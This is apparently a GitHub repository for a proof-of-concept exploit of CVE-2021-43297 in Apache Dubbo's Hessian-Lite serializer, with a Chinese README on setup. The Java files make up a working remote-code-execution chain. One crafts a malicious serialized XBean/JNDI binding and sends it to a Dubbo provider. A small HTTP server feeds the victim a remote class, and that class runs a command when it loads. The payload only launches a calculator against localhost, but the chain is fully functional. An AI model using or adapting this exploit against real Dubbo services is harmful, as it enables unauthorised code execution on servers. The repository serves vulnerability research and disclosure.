├── 1.png ├── ExecTest.java ├── HTTPServer.java ├── HessianLitePoc.java └── README.md /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bitterzzZZ/CVE-2021-43297-POC/54d8a9c70feda904bda6de35a297974d22cf0a68/1.png -------------------------------------------------------------------------------- /ExecTest.java: -------------------------------------------------------------------------------- 1 | import java.io.IOException; 2 | public class ExecTest { 3 | public ExecTest() throws IOException { 4 | new java.io.IOException().printStackTrace(); 5 | java.lang.Runtime.getRuntime().exec("calc"); 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /HTTPServer.java: -------------------------------------------------------------------------------- 1 | import com.google.common.io.Files; 2 | import com.sun.net.httpserver.Headers; 3 | import com.sun.net.httpserver.HttpExchange; 4 | import com.sun.net.httpserver.HttpHandler; 5 | import com.sun.net.httpserver.HttpServer; 6 | import com.sun.net.httpserver.spi.HttpServerProvider; 7 | import java.io.BufferedReader; 8 | import java.io.File; 9 | import java.io.IOException; 10 | import java.io.InputStreamReader; 11 | import java.io.OutputStream; 12 | import java.net.InetSocketAddress; 13 | import java.util.Iterator; 14 | import java.util.List; 15 | import java.util.Set; 16 | import org.apache.commons.lang3.StringUtils; 17 | 18 | /** 19 | * 解析http协议,输出http请求体 20 | * 21 | * @author xuanyh 22 | */ 23 | public class HTTPServer { 24 | 25 | public static String filePath; 26 | public static int PORT = 8080; 27 | public static String contentType; 28 | 29 | public static void main(String[] args) throws IOException { 30 | run(args); 31 | } 32 | 33 | public static void run(String[] args) { 34 | int port = PORT; 35 | String context = "/"; 36 | String clazz = "Calc.class"; 37 | if (args != null && args.length > 0) { 38 | port = Integer.parseInt(args[0]); 39 | context = args[1]; 40 | clazz = args[2]; 41 | } 42 | HttpServerProvider provider = HttpServerProvider.provider(); 43 | HttpServer httpserver = null; 44 | try { 45 | httpserver = provider.createHttpServer(new InetSocketAddress(port), 100); 46 | } catch (IOException e) { 47 | e.printStackTrace(); 48 | } 49 | //监听端口8080, 50 | 51 | httpserver.createContext(context, new RestGetHandler(clazz)); 52 | httpserver.setExecutor(null); 53 | httpserver.start(); 54 | System.out.println("server started"); 55 | } 56 | 57 | static class RestGetHandler implements HttpHandler { 58 | 59 | private String clazz; 60 | 61 | public RestGetHandler(String clazz) { 62 | this.clazz = clazz; 63 | } 64 | 65 | @Override 66 | public void handle(HttpExchange he) throws IOException { 67 | String requestMethod = he.getRequestMethod(); 68 | System.out.println(requestMethod + " " + he.getRequestURI().getPath() + ( 69 | StringUtils.isEmpty(he.getRequestURI().getRawQuery()) ? "" 70 | : "?" + he.getRequestURI().getRawQuery()) + " " + he.getProtocol()); 71 | if (requestMethod.equalsIgnoreCase("GET")) { 72 | Headers responseHeaders = he.getResponseHeaders(); 73 | responseHeaders.set("Content-Type", contentType == null ? "application/json" : contentType); 74 | 75 | he.sendResponseHeaders(200, 0); 76 | // parse request 77 | OutputStream responseBody = he.getResponseBody(); 78 | Headers requestHeaders = he.getRequestHeaders(); 79 | Set keySet = requestHeaders.keySet(); 80 | Iterator iter = keySet.iterator(); 81 | 82 | while (iter.hasNext()) { 83 | String key = iter.next(); 84 | List values = requestHeaders.get(key); 85 | String s = key + ": " + values.toString(); 86 | System.out.println(s); 87 | } 88 | System.out.println(); 89 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(he.getRequestBody())); 90 | StringBuilder stringBuilder = new StringBuilder(); 91 | String line; 92 | for (;(line = bufferedReader.readLine()) != null;) { 93 | stringBuilder.append(line); 94 | } 95 | System.out.println(stringBuilder.toString()); 96 | 97 | // byte[] bytes = Files.toByteArray(new File(filePath == null ? HTTPServer.class.getClassLoader().getResource(clazz).getPath() : filePath)); 98 | 99 | byte[] bytes = Files.toByteArray(new File("D:\\工具\\java\\fastjson反序列化\\jndi利用\\ExecTest.class")); 100 | System.out.println(new String(bytes, 0, bytes.length)); 101 | // send response 102 | responseBody.write(bytes); 103 | responseBody.close(); 104 | } 105 | } 106 | } 107 | } -------------------------------------------------------------------------------- /HessianLitePoc.java: -------------------------------------------------------------------------------- 1 | package com.bitterz.dubbo; 2 | 3 | import com.alibaba.com.caucho.hessian.io.Hessian2Output; 4 | import org.apache.dubbo.common.io.Bytes; 5 | import org.apache.xbean.naming.context.ContextUtil; 6 | import org.apache.xbean.naming.context.WritableContext; 7 | import sun.reflect.ReflectionFactory; 8 | 9 | import javax.naming.Context; 10 | import javax.naming.Reference; 11 | import java.io.ByteArrayOutputStream; 12 | import java.io.OutputStream; 13 | import java.lang.reflect.Constructor; 14 | import java.lang.reflect.Field; 15 | import java.lang.reflect.InvocationTargetException; 16 | import java.net.Socket; 17 | import java.util.HashSet; 18 | import java.util.Random; 19 | public class HessianLitePoc { 20 | 21 | public static void main(String[] args) throws Exception { 22 | 23 | Context ctx = Reflections.createWithoutConstructor(WritableContext.class); 24 | Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/"); 25 | ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx); 26 | 27 | // Field fullName = binding.getClass().getSuperclass().getSuperclass().getDeclaredField("fullName"); 28 | // fullName.setAccessible(true); 29 | Reflections.setFieldValue(binding, "fullName", "<<<<<"); 30 | // fullName.set(binding, "<<<<<"); // 方便定位属性值的 31 | 32 | 33 | 34 | byte [] heder2 = new byte[]{-38, -69, -30, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 1}; 35 | //############################################################################################ 36 | // 写入binding 37 | ByteArrayOutputStream binding2bytes = new ByteArrayOutputStream(); 38 | Hessian2Output outBinding = new Hessian2Output(binding2bytes); 39 | outBinding.writeObject(binding); 40 | outBinding.flushBuffer(); 41 | //############################################################################################ 42 | // binding序列化后的byte数组 43 | byte[] bindingBytes = binding2bytes.toByteArray(); 44 | 45 | // header. 46 | byte[] header = new byte[16]; 47 | // set magic number. 48 | Bytes.short2bytes((short) 0xdabb, header); 49 | // set request and serialization flag. 50 | header[2] = (byte) ((byte) 0x80 | 0x20 | 2); 51 | // set request id. 52 | Bytes.long2bytes(new Random().nextInt(100000000), header, 4); 53 | // 在header中记录 序列化对象 的长度,因为最后一个F被覆盖了,所以要-1 54 | Bytes.int2bytes(bindingBytes.length*2-1, header, 12); 55 | 56 | // 收集header+binding 57 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 58 | byteArrayOutputStream.write(header); 59 | byteArrayOutputStream.write(bindingBytes); 60 | byte[] bytes = byteArrayOutputStream.toByteArray(); 61 | 62 | //############################################################################################ 63 | // 组装payload = header+binding+binding 64 | byte[] payload = new byte[bytes.length + bindingBytes.length -1]; 65 | for (int i = 0; i < bytes.length; i++) { 66 | payload[i] = bytes[i]; 67 | } 68 | 69 | for (int i = 0; i < bindingBytes.length; i++) { 70 | payload[i + bytes.length-1] = bindingBytes[i]; 71 | } 72 | //############################################################################################ 73 | 74 | // 修改flag的值 75 | payload[2] = 0x02; 76 | 77 | // 输出字节流的十六进制 78 | for (int i = 0; i < payload.length; i++) { 79 | System.out.print(String.format("%02X", payload[i]) + " "); 80 | if ((i + 1) % 8 == 0) 81 | System.out.print(" "); 82 | if ((i + 1) % 16 == 0 ) 83 | System.out.println(); 84 | } 85 | System.out.println(); 86 | // 输出byte数组转String 87 | System.out.println(new String(payload,0,payload.length)); 88 | // System.exit(1); 89 | //todo 此处填写被攻击的dubbo服务提供者地址和端口 90 | Socket socket = new Socket("127.0.0.1", 20880); 91 | OutputStream outputStream = socket.getOutputStream(); 92 | outputStream.write(payload); 93 | outputStream.flush(); 94 | outputStream.close(); 95 | System.out.println("\nsend!!"); 96 | } 97 | 98 | 99 | public static class Reflections{ 100 | public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{ 101 | Field field=null; 102 | Class cl = obj.getClass(); 103 | while (cl != Object.class){ 104 | try{ 105 | field = cl.getDeclaredField(fieldName); 106 | if(field!=null){ 107 | break;} 108 | } 109 | catch (Exception e){ 110 | cl = cl.getSuperclass(); 111 | } 112 | } 113 | if (field==null){ 114 | System.out.println(obj.getClass().getName()); 115 | System.out.println(fieldName); 116 | } 117 | field.setAccessible(true); 118 | field.set(obj,fieldValue); 119 | } 120 | 121 | public static T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 122 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 123 | } 124 | 125 | public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 126 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 127 | objCons.setAccessible(true); 128 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 129 | sc.setAccessible(true); 130 | return (T) sc.newInstance(consArgs); 131 | } 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # CVE-2021-43297 4 | 5 | ## 漏洞描述 6 | 7 | Dubbo Hessian-Lite 3.2.11及之前版本中存在潜在RCE攻击风险。Hessian-Lite在遇到序列化异常时会输出相关信息,这可能导致触发某些恶意定制的Bean的toString方法,从而引发RCE攻击。 8 | 9 | ## 原理 10 | 11 | 最开始的POC只能在Apache Dubbo<=2.7.8实现RCE,原理见[先知文章]()(审核通过后回来修改)。投稿之后又研究了一下,可以在Apache Dubbo<=2.7.13实现RCE,原理分析见[我的博客文章](https://www.cnblogs.com/bitterz/p/15828415.html) 12 | 13 | 效果如下 14 | 15 | ![](./1.png) 16 | 17 | POC利用条件: 18 | 19 | - apache dubbo <= 2.7.13或alibaba dubbo对应版本 20 | - 知道dubbo provider的ip和端口,且可以访问 21 | - dubbo provider存在XBean链 22 | - dubbo provider服务器允许向外HTTP GET请求 23 | 24 | # 环境安装和Poc运行 25 | 26 | - 首先下载zookeeper 27 | 28 | ``` 29 | wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz 30 | tar zxvf zookeeper-3.3.3.tar.gz 31 | cd zookeeper-3.3.3 32 | cp conf/zoo_sample.cfg conf/zoo.cfg 33 | ``` 34 | 35 | - 配置 36 | 37 | ``` 38 | vim conf/zoo.cfg 39 | # The number of milliseconds of each tick 40 | tickTime=2000 41 | # The number of ticks that the initial 42 | # synchronization phase can take 43 | initLimit=10 44 | # The number of ticks that can pass between 45 | # sending a request and getting an acknowledgement 46 | syncLimit=5 47 | # the directory where the snapshot is stored. 48 | dataDir=/绝对路径/zookeeper-3.3.3/data 49 | # the port at which the clients will connect 50 | clientPort=2181 51 | ``` 52 | 53 | - 修改绝对路径,在data目录下放置一个myid文件 54 | 55 | ``` 56 | mkdir data 57 | touch data/myid 58 | ``` 59 | 60 | - 启动zookeeper 61 | 62 | ``` 63 | cd /private/var/tmp/zookeeper-3.3.3/bin 64 | ./zkServer.sh start 65 | ``` 66 | 67 | - 安装dubbo-samples-api 68 | 69 | ``` 70 | git clone https://github.com/apache/dubbo-samples.git 71 | cd dubbo-samples/dubbo-samples-api 72 | ``` 73 | 74 | - 修改dubbo-samples/dubbo-samples-api/pom.xml 75 | 76 | ```xml 77 | 78 | 81 | 4.0.0 82 | 83 | org.example 84 | dubbomytest 85 | pom 86 | 1.0-SNAPSHOT 87 | 88 | 89 | 90 | org.apache.maven.plugins 91 | maven-compiler-plugin 92 | 93 | 8 94 | 8 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 1.8 103 | 1.8 104 | 2.7.6 105 | 4.12 106 | 0.30.0 107 | 1.2.0 108 | 3.7.0 109 | 2.21.0 110 | ${project.artifactId}:${dubbo.version} 111 | openjdk:8 112 | 20880 113 | 2181 114 | org.apache.dubbo.samples.provider.Application 115 | 116 | 117 | 118 | 119 | org.apache.dubbo 120 | dubbo 121 | 2.7.3 122 | 123 | 124 | org.apache.dubbo 125 | dubbo-common 126 | 2.7.3 127 | 128 | 129 | 130 | org.apache.dubbo 131 | dubbo-dependencies-zookeeper 132 | 2.7.3 133 | pom 134 | 135 | 136 | org.apache.xbean 137 | xbean-naming 138 | 4.15 139 | 140 | 141 | junit 142 | junit 143 | ${junit.version} 144 | test 145 | 146 | 147 | 148 | 149 | 150 | ``` 151 | 152 | - xbean包 153 | 154 | provider端和本地都需要安装,依赖如下 155 | 156 | ```xml 157 | 158 | org.apache.xbean 159 | xbean-naming 160 | 4.15 161 | 162 | ``` 163 | 164 | - 编译启动 165 | 166 | IDEA中添加dubbo-samples-api,注意修改zookeeper和dubbo的端口,另外在Application.java中修改代码: 167 | 168 | ``` 169 | service.setRegistry(new RegistryConfig("zookeeper://" + zookeeperHost + ":" + zookeeperPort+"/?timeout=250000")); 170 | ``` 171 | 172 | 防止高版本dubbo连接zookeeper过慢而连接失败 173 | 174 | 在idea里面启动dubbo-samples-api中的Application.java 175 | 176 | 启动后输出`dubbo service started`即表示dubbo已启动 177 | 178 | - 运行poc 179 | 本地添加依赖: 180 | ```xml 181 | 182 | org.apache.dubbo 183 | dubbo-common 184 | 2.7.3 185 | 186 | 187 | org.apache.dubbo 188 | dubbo 189 | 2.7.3 190 | 191 | 192 | org.apache.dubbo 193 | dubbo-dependencies-zookeeper 194 | 2.7.3 195 | pom 196 | 197 | 198 | com.caucho 199 | hessian 200 | 4.0.51 201 | 202 | ``` 203 | 204 | 编译ExecTest.java,随后在HttpServer.java中修改ExecTest.class的路径,然后执行HttpServer.main方法,最后执行HessianLitePoc.main方法 205 | --------------------------------------------------------------------------------